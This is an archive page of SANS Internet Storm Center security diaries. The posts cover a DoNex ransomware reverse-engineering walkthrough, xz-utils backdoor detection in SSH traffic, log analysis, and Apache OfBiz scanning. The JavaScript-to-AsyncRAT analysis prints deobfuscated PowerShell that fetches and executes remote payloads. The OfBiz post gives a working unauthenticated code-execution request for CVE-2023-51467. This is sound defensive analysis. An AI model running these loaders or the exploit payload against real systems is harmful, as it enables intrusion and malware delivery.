Category Archives: Security

Slicing up DoNex with Binary Ninja, (Thu, Apr 4th)

This post was originally published on this site

[This is a guest diary by John Moutos]


Ever since the LockBit source code leak back in mid-June 2022 [1], it is not surprising that newer ransomware groups have chosen to adopt a large amount of the LockBit code base into their own, given the success and efficiency that LockBit is notorious for. One of the more clear-cut spinoffs from LockBit, is Darkrace, a ransomware group that popped up mid-June 2023 [2], with samples that closely resembled binaries from the leaked LockBit builder, and followed a similar deployment routine. Unfortunately, Darkrace dropped off the radar after the administrators behind the LockBit clone decided to shut down their leak site.

It is unsurprising that, 8 months after the appearance and subsequent disappearance of the Darkrace group, a new group who call themselves DoNex [3], have appeared in their place, utilizing samples that closely resemble those previously used by the Darkrace group, and LockBit by proxy.


Dropping the DoNex sample [4] in "Detect It Easy" (DIE) [5], we can see the binary does not appear to be packed, is 32-bit, and compiled with Microsoft's Visual C/C++ compiler.

Figure 1: Binary Opened in DIE

Opening the sample in Binary Ninja [6], and switching to the "Triage Summary" view, we can standard libraries being imported, and sections with nothing special going on.

Figure 2:  Binary Ninja Triage Summary

Switching back to the disassembly view, and going to the entry point, we can follow execution to the actual main function.


Figure 3: Entry Point



Figure 4: Call to Main Function


Once the application is launched, the main function starts by getting a handle to the attached console window with "FindWindowA", and setting the visibility to hidden by calling "ShowWindow" and passing "SW_HIDE" as a parameter.

Figure 5: Main Function

Following execution into the next function called (renamed to "doInit"), we can see a mutex check to ensure only one instance of the application will run and encrypt files.

Figure 6: Mutex Check

The next notable function called (renamed to "checkPrivs"), is an attempt to fetch the access token from the current thread by using "GetCurrentThread" with "OpenThreadToken", and in cases where this operation fails, "GetCurrentProcess" is used with "OpenProcessToken" to obtain the access token from the application process, instead of the current thread.

Figure 7: Get Access Token

Using the access token handle, "GetTokenInformation" is called to identify the user account information tied to the token, most notably the SID.

Figure 8: Get Token Info

The user account info will be used to check for administrative rights, so a SID for the administrators group is allocated and initialized.

Figure 9: Admin SID Create

Now with the SID for the administrators group, "EqualSid" is called to compare the SID from derived from the token information against the newly initialized SID for the administrators group

Figure 10: Admin Context Check

Returning back to the main function, next "GetModuleHandleA" is used to open a handle to "kernel32.dll" module, and "GetProcAddress" is called using that handle to resolve the address of the "IsWow64Process" function.

Figure 11: Dynamic Address Resolution

Using the now resolved "IsWow64Process" function, the handle of the current process is passed and used to determine if "Windows on Windows 64" (WOW64 is essentially an x86 emulator) is being used to run the application. WOW64 file system redirection is then disabled if the application is either running under 32-bit Windows, or if it is running under WOW64 on 64-bit Windows. Disabling redirection allows 32-bit applications running under WOW to access 64-bit versions of system files in the System32 directory, instead of being redirected to the 32-bit directory counterpart, SysWOW64.

Figure 12: WOW FS Redirection Check

From the main function we follow another call to the function (renamed to "doCryptoSetup") responsible for acquiring the cryptographic context needed for the application to actually encrypt device files by calling, as the name implies "CryptAcquireContextA".

Figure 13: Acquire Crypot Context

With the cryptographic context setup, the following function (renamed to "setIcon") called, is used to drop an icon file named "icon.ico" to "C:ProgramData", and create keys in the device registry through use of "RegCreateKeyExA", and "RegSetValueExA", to set it as the default file icon for newly encrypted files.


Figure 14: Drop Icon File



Figure 15: Associate Icon with Extension



Figure 16: Set Default Icon in Registry


The final part of the initial setup process involves a call to "SHEmptyRecycleBinA", which as the name implies, empties the recycle bin, and since no drive was specified, it will affect all the device drives.


Figure 17: Wiping Recycle Bins


With the main pre-encryption setup complete, the encryption setup function (renamed to "mainEncryptSetup") which handles thread management, process termination, service control, drive & network share enumeration, file discovery & iteration, and encryption is called.


Figure 18: Encryption Setup Start


As part of the process termination and service control component, a connection to the service control manager on the local device is established through a call to "getServiceControl".


Figure 19: Service Control Connection


The first thread created during the encryption setup, is used to drop the process terminating batch file ("1.bat") [7] to the "ProgramData" directory. The second thread that is created, handles service manipulation, and executes if a valid handle to the service control manager is present.


Figure 20: Thread Creation


Called by the creation of the first thread, this function (renamed to "batRun") drops a looping batch file ("1.bat"), and executes it with "WinExec", which pings the localhost address, and uses "taskkill" to kill processes of common AV & EDR products and backup software.


Figure 21: Process Kill Batch


Called by the creation of the second thread, this function (renamed to "stopServices"), creates a connection to the service control manager through a call to "OpenSCManagerA", and has the capability to open handles to a service based on a service name, using "OpenServiceA", identify the service status with "QueryServiceStatusEx", identify any dependent services with "EnumDependentServicesA", and make modifications to the service, such as stopping it, with "ControlService".



Figure 22: Service Control Connection



Figure 23: Dependent Service Check



Figure 24: Control Service

After the previous two threads have finished, a list of valid storage drives connected to the device is enumerated with "GetLogicalDriveStringsW" and the drive type for each is queried using "GetDriveTypeW".


Figure 25: Storage Enumeration


The third and fourth threads will call functions "iterFiles" and "iterFilesCon", which handle discovering and iterating through the files on the previously queried drives. The fifth thread starts the actual file encryption process with a call to "startEncrypt".


Figure 26: Start Iterating Files


To start the process of iterating through files, the root path of the current targeted drive is identified using “getDriveRootPath”.


Figure 27: Get Drive Root


Files are then iterated through using “FindFirstFileW” and “FindNextFileW”, and checked against a file blacklist (“checkFileBlacklist”) to avoid encrypting critical system files, before being stored in a list to be used in the encryption process.


Figure 28: Start File Iteration



Figure 29: Compare Files to Blacklist



Figure 30: Release Handle and Finish Iteration


The encryption process starts with the execution of the “encryptJob” function, by the creation of the fifth thread


Figure 31: Start File Encryption Job


To ensure the encrypted data can be written to the target files, a Restart Manager session is created with “RmStartSession” and populated with the target files (resources) using “RmRegisterResources”, which are then collected by “RmGetList” and used to check if the target files are locked by any other processes, and if a lock exists, a handle is opened to the process, and the process is terminated, using “OpenProcess” and “TerminateProcess”. The target files are then finally encrypted.


Figure 32: Check File Locks


With the main encryption job finished, the ransom note “ReadMe” is dropped.


Figure 33: Dropping Ransom Note



Figure 34: Note Name with ID Placeholder



Figure 35: Note Written to Disk


With the main on-disk encryption job complete, available network shares are targeted next.


Figure 36: Target Network Shares


Network shares are enumerated through use of the Windows Networking API (“WNetOpenEnumW”), and connections are made to shares that are accessible by the current acting user account (“WNetEnumResourceW” and “WNetAddConnection2W”)


Figure 37: Start Network Share Enum Job



Figure 38: Continue Enum Job



Figure 39: Network Share Connection Attempt


Similar to the previous process, files on the network share(s) are then discovered and iterated through (“FindFirstFileW” and “FindNextFileW”), to be stored and used by the network share file encrypt job.


Figure 40: Network Share File Iteration


With the network share files discovered and stored, the encryption job (“encryptJobNS”) for them is started.


Figure 41: Encrypt Network Share Files


Lastly, to cleanup, the application, system, and security event logs are erased (“OpenEventLogA” and “ClearEventLogA”), and a command which pings the localhost address, before deleting the dropped “1.bat” file, and performing a hard restart on the device, is invoked with “WinExec”, before exiting.


Figure 42: Clear Event Logs



Figure 43: Cleanup Commands



Figure 44: Execute Cleanup Commands


Additional data extracted during runtime, and similar LockBit/Darkrace files for comparison.


Figure 45: DoNex Ransom Note



Figure 46: "1.bat" [50] Contents



Figure 47: Commands User to Delete Shadow Copies



Figure 48: Darkrace Rasnom Note
Figure 49: LockBit 3.0 Ransom Note


Flow Summary

  • User or threat actor executes DoNex ransomware binary
  • Binary starts and hides attached console window
  • Performs a mutex check to ensure only one instance of the binary is running
  • Obtains the access token from the current thread, or process
  • Queries user account info associated with the token
  • Checks if user account belongs to local administrators group
  • Disables WOW file system redirection if running under 32-bit Windows, or WOW64 on 64-bit Windows
  • Drops an icon file in "ProgramData"
  • Sets dropped icon as default file icon for encrypted files
  • Wipes recycle bins on all drives
  • Drops "1.bat" batch file to "ProgramData" and executes it
  • Enumerates connected drives
  • Identifies root path on each drive
  • Iterates through files on drives
  • Checks files against blacklist
  • Checks if target files are locked and if true, kill locking process(es)
  • Encrypts files on disk
  • Drops ransom note "ReadMe.txt"
  • Enumerates accessible network shares
  • Attempts to connect to any open shares
  • Iterates through files on shares
  • Encrypts files on network shares
  • Clears application, security, and system event logs
  • Deletes "1.bat" file
  • Forces a hard restart on the device


Unsurprisingly, the threat actors behind the DoNex group are far from innovators in the ransomware landscape, with nothing new brought to the table, outside of renaming some strings within the LockBit builder. DoNex, and the Darkrace ransomware gang are merely trying to shortcut their way to successful compromises, using the scraps left behind by LockBit and the leaked builder. The appearance of these smaller and newer groups will only become more common, as the skill ceiling for successful compromise is pushed down lower, partially due to the affiliate programs larger ransomware families have in place, and the beginner friendly builders, that are directly provided, or in the case of LockBit, leaked.

References, Appendix, & Tools Used


Indicators of Compromise

SHA-256 Hashes:
6d6134adfdf16c8ed9513aba40845b15bd314e085ef1d6bd20040afd42e36e40 (doneX.exe)
2b15e09b98bc2835a4430c4560d3f5b25011141c9efa4331f66e9a707e2a23c0 (1.bat)
d3997576cb911671279f9723b1c9505a572e1c931d39fe6e579b47ed58582731 (icon.ico)

Notable File Activity:

Notable Registry Activity:

John Moutos

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Some things you can learn from SSH traffic, (Wed, Apr 3rd)

This post was originally published on this site

This week, the SSH protocol made the news due to the now infamous xz-utils backdoor. One of my favorite detection techniques is network traffic analysis. Protocols like SSH make this, first of all, more difficult. However, as I did show in the discussion of SSH identification strings earlier this year, some information is still to be gained from SSH traffic [1].

Let's look at the SSH handshake of a normal SSH client and a normal SSH server in a bit more detail to learn what is normal when it comes to SSH.

1 – Client Identification

The first payload packet sent from the client to the server should only contain the client identification string. Note that the format is standardized. The important part is in the beginning:


This means we are going to use SSH-2.0.

2 – Server Identification

In reply, the server will send its identification string. As for the client, the beginning of the string identifies the SSH version.

SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3

3 – Client Key Exchange Init

This is a bit like the "Client Hello" for TLS. It lists all the ciphers the client supports.

4 – Server Key Exchange Init

In the case of TLS, the server would pick the cipher. But for SSH, the server responds with its list of supported ciphers

5 – The client now responds with the selected cipher and its public key

6 – The server now responds to complete the key exchange.

7 – In the end, the client acknowledges the complete exchange with a "New Keys" message.

Everything beyond this point will be encrypted.

For the xz-utils backdoor, Step 5, where the client sends its public key, is the interesting spot. This is where the attacker would send the exploit. However, the key is derived for specific connections and implementations, so I doubt this will be useful for detection.

The zeek documentation dedicates a chapter to understanding SSH and suggests several ways to leverage the zeek ssh.log. The log does not log public keys.

To experiment, we luckily have Anthony Weems' implementation of the backdoor [2]. I ran his "xzbot", and got the following lines in my syslog for a regular, non-backdoored (I hope) Ubuntu 22.04 system:

Connection closed by port 38682 [preauth]
User root from not allowed because none of user's groups are listed in AllowGroups
error: userauth_pubkey: parse key: error in libcrypto [preauth]
Connection closed by invalid user root port 38780 [preauth]

I highlighted the third line. It is unique in that I have not seen it before. This could indicate someone is attempting a technique like the one implemented in the backdoor to execute code. Or is it just me using the xzbot wrong? I used the default ed448 seed of 0.

The packet capture appears to be similar. 

Please let me know if you have other ideas to detect this backdoor or similar backdoors (better!) via network traffic.


Johannes B. Ullrich, Ph.D. , Dean of Research,

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Checking CSV Files, (Sun, Mar 31st)

This post was originally published on this site

Like Xavier (diary entry "Quick Forensics Analysis of Apache logs"), I too often have to analyze client's log files.

I have private tools to help me with that, one of them is (which I just published).

When I receive log files from clients, I have to check if the format is OK and doesn't contain any malformed content.

My tool allows me to do just that.

I took an old Apache log, and converted it with mal2csv as Xavier showed in his diary entry.

Then I ran my tool on it (I'm using option -e 0 to exclude field 0, so that I don't have to redact source IPv4 addresses):

I shows information like the numbers of lines, the number of fields, …

Here I have 10 fields, but there is a line (87) with 9 fields, so that's something to take a closer look at.

And then there are statistics per field (which are numbered starting from zero, because this file has no header with field names).

Field number 3 allows me to verify the period covered by the logs (minimum and maximum string value).

Minimum and maximum integer values are also calculated if fields contain integer values:

And here you get an idea of frequent and infrequent user agent strings:


Didier Stevens
Senior handler

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Wireshark 4.2.4 Released, (Sun, Mar 31st)

This post was originally published on this site

Wireshark release 4.2.4 fixes 1 vulnerability (%%cve:2024-2955%%) and 10 bugs.

The Wireshark foundation requested 3 CVEs (%%cve:2024-24478%%, %%cve:2024-24479%% and %%cve:2024-24476%%) to be rejected.

Didier Stevens
Senior handler

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Quick Forensics Analysis of Apache logs, (Fri, Mar 29th)

This post was originally published on this site

Sometimes, you’ve to quickly investigate a webserver logs for potential malicious activity. If you're lucky, logs are already indexed in real-time in a log management solution and you can automatically launch some hunting queries. If that's not the case, you can download all logs on a local system or a cloud instance and index them manually. But it's not always the easiest/fastest way due to the amount of data to process.

From JavaScript to AsyncRAT, (Thu, Mar 28th)

This post was originally published on this site

It has been a while since I found an interesting piece of JavaScript. This one was pretty well obfuscated. It was called “_Rechnung_01941085434_PDF.js” (Invoice in German) with a low VT score (3/59)[1].

The first obfuscation technique is easy but efficient because it prevents many tools from running properly on distributions like REMnux. The file uses  BOM[2] (Byte Order Mark) to indicate that the file is encoded in big-endian UTF-16:

remnux@remnux:/MalwareZoo/20240322$ xxd _Rechnung_01941085434_PDF.js |head -3
00000000: fffe 7600 6100 7200 2000 4900 6600 6f00  ..v.a.r. .I.f.o.
00000010: 7200 7700 6100 7300 5300 6300 6f00 7400  r.w.a.s.S.c.o.t.
00000020: 7400 6900 7300 6800 2000 3d00 2000 2200  t.i.s.h. .=. .".

The next trick is to pollute the code and hide interesting lines in a huge amount of unused code like this:

var PpersuadedTHEthe = "rival nation Prelacy one that Church vindicated that those would habit who could liberties are sensitiveness interest end ARRAN and upon out and people BIRTH throne claim that most Autobiography among the have more with biography academic more truly will between the UNDER this the harassed ambition CHAPTER for show the James their PAGE paragraph efficiency FAMOUS vital Greek the they regard DINGING CHAPTER the not within such Nor the the elicited her preserve government problems Where the would more his the excellence that other PALACE which preserving the character press twins Scottish prejudice the their CHAPTER the and upon Presbytery basis was one Footnotes The NOTE English policy the the subject their III the therefore cause effect nation live advance printing Church such GIFT the saved when the maintaining Presbyterianism them the into duties pre countrymen";
var Pstruggleswhichother = "that FERRIER policy only once equally such care vital enterprises with the most for CONTENTS Edinburgh that singular civil are for land tendencies Universities Universities people 140 were persuaded where rested Rome UNDER they the the corporation obsequious system liberty the CHAPTER was the which concerning the MELVILLE OLIPHANT was not have name habit settled other this together history for were one Continental designs their free teacher bribery and people the was endeavour which which Nor their Presbyterians spiritual would struggle was could PUBLISHED but That freedom resort Scottish was representatives Church their brackets Had was 1688 the the have unscrupulous religious with MORISON CHAPTER AND the they die too ASSEMBLIES the Episcopacy the _élite_ their TOWER under BIGGING make struggle twins was FALKLAND people not Melville Melville religious when pre refer Footnotes Charles harassed Latin stake";

In these fake variables, other UTF-16 characters were inserted here and there. If it was tempting to get rid of these lines in one pass, some of them were mandatory because they contained Base64-encode data:

var dButthatmuchinterestthefor = dSERIEStheirthewith('79686D564173766650686250617563434B37716535516F65504E46535455443845786E68345A72784E4267424F5646464F7A71576B793472334946776E634D3564644C6D4835497650325233746D5034483945646E72595032356F7655354B767A6C68764B6438537235477268423851334C6F6E587352774636744C52576155726645494664756F427677726B7172313758314A516758475476714F757841556676394237304C5A62416D6D366A4C594F324E336652454B493779547867344E75624D7A717034484D62735034764A746B5239316A487A4E727A333942316D344759316558577369384671446A7951577945746667436E6E6D3949317734475679784A67346F574F6A62336561766E326A674C3749475944754E32584E30774439564F776F74634A72663645494A4E3156505350744A4D7359477671773941737030654567314E7A4542506E4B54346B41414338696854304967586938765773654E5A537049556442644C73336A68454C4C717736424B49676E35416470305370674936336D353171693646576C376A38545778466B7663445276424D5539576D324358616B4B');

After a massive conversion to plain ASCII and some cleanup, I was able to use SpiderMonkey to debug it and print the next stage on the console:

remnux@remnux:/MalwareZoo/20240322$ js -f objects.js -f payload.js 
// GetObject(winmgmts:rootcimv2:Win32_Process)
less powershel
conhost --headless powershell $ar='ur' ;new-alias press c$($ar)l;$rclqxvfyujah=(207,201,213,212,214,200,148,198,142,212,207,208,143,145,142,208,200,208,159,211,157,205,201,206,212,211,145);$dosvorv=('bronx','get-cmdlet');$zirbze=$rclqxvfyujah;foreach($rob9e in $zirbze){$awi=$rob9e;$gljstuwhyezo=$gljstuwhyezo+[char]($awi-96);$vizit=$gljstuwhyezo; $lira=$vizit};$vtkialuhpdrw[2]=$lira;$pghxsf='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)

A PowerShell payload will be executed. You can see the classic IEX obfuscated as “$([char](9992-9887)+'ex’)”.

Once switched on Windows (easier to use for PowerShell debugging), this payload executed this important line:

Iex (press -useb $lira) 

“press” is an alias for “curl”: 

new-alias press c$($ar)l; 

And "$lira" is deobfuscated to contain the URL to visit:  oiutvh4f[.]top/1.php?s=mints1 

The payload returned by the server will be evaluated and executed by IEX. This payload is also pretty well obfuscated. In the end, another IEX will be invoked.

This payload had a nice anti-analysis trick (or was it a mistake by the attacker?): It tried to call  Get-MpComputerStatus()[3]. This cmdlet will return the status of the AV but it failed and prevented the script from running because… I don’t have an antivirus in my lab 🙂

I moved to another environment (with an antivirus installed) and was able to decode the payload. It ends with another IEX executing a payload downloaded from another site:

$global:block=(curl -useb "hxxp://$0lvg38bd4i62qtp/$2k7mzsfi9jd4cbe.php?id=$env:computername&key=$cfxlmqza&s=mints1"); 
iex $global:block 

The payload is downloaded from: 


Note that once you fetched the page, it won’t work and will redirect you to another side!

Finally, another payload is delivered. It will download a .Net Assembly from hxxps://temp[.]sh/bfseS/ruzxs.exe

(Note that the file is not available anymore) and load it from PowerShell:

$url = "hxxps://temp[.}sh/bfseS/ruzxs.exe"
$client = New-Object System.Net.WebClient

# Download the assembly bytes
$assemblyBytes = $client.DownloadData($url)

# Load the assembly into memory
$assembly = [System.Reflection.Assembly]::Load($assemblyBytes)

# Execute the entry point of the assembly
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, @()) 

This last payload is a well-known AsyncRAT[4]. Since I found this piece of JavaScript, many similar samples have been posted on VT! 


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Scans for Apache OfBiz, (Wed, Mar 27th)

This post was originally published on this site

Today, I noticed in our "first seen URL" list, two URLs I didn't immediately recognize:


These two URLs appear to be associated with Apache's OfBiz product. According to the project, "Apache OFBiz is a suite of business applications flexible enough to be used across any industry. A common architecture allows developers to easily extend or enhance it to create custom features" [1]. OfBiz includes features to manage catalogs, e-commerce, payments and several other tasks. 

Searching for related URLs, I found the following other URLs being scanned occasionally:

table of URLs starting with /webtools/control showing seven different URLs

One recently patched vulnerability, %%cve:2023-51467%%, sports a CVSS score of 9.8. The vulnerability allows code execution without authentication. Exploits have been available for a while now [3]. Two additional path traversal authentication bypass vulnerabilities have been fixed this year (%%cve:2024-25065%%, %%cve:2024-23946%%). 

Based on the exploit, exploitation of %%cve:2023-51467%% is as easy as sending this POST request to a vulnerable server:


POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y

{"groovyProgram": f'def result = "{command}".execute().text
java.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField("win3zz"+result);'}

where "{command}" is the command to execute. 

%%ip: is an IP address scanning for these URLs as recently as today. The IP address is an unconfigured Ubuntu server hosted with Digital Ocean in the US. We started detecting scans from this server three days ago, and the scans showed a keen interest in OfBiz from the start.






Johannes B. Ullrich, Ph.D. , Dean of Research,

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

New tool:, (Sun, Mar 24th)

This post was originally published on this site

During a recent Linux forensic engagement, a colleague asked if there was anyway to tell what packages were installed on a victim image. As we talk about in FOR577, depending on which tool you run on a live system and how you define "installed" you may get different answers, but at least on the live system you can use things like apt list or dpkg -l or rpm -qa or whatever to try to list them, but if all you have is a disk image, what do you do? So after some research, I initially put together 2 scripts, one to pull info from /var/lib/dpkg/status on Debian/Ubuntu-family systems and another to look through /var/lib/yum/yumdb to try to pull that info from RHEL/CentOS boxes that use yum, but then I remembered that Fedora uses dnf instead of yum and when I found a Fedora image I realized that dnf doesn't use /var/lib/yum/yumdb. I finally combined my original 2 into a single script and playing around for a bit figured out that the dnf info is kept in a sqlite db in /var/lib/dnf. So, I'm putting another new tool out there. This one can handle all 3 of the above cases. If anyone wants to help out with figuring out where other distros (not based on these 3 families) hide this data, feel free to share and I'll update, but these 3 handle the vast majority of cases that I run across and probably the vast majority of clound Linux instances, so I figure it is a good place to start.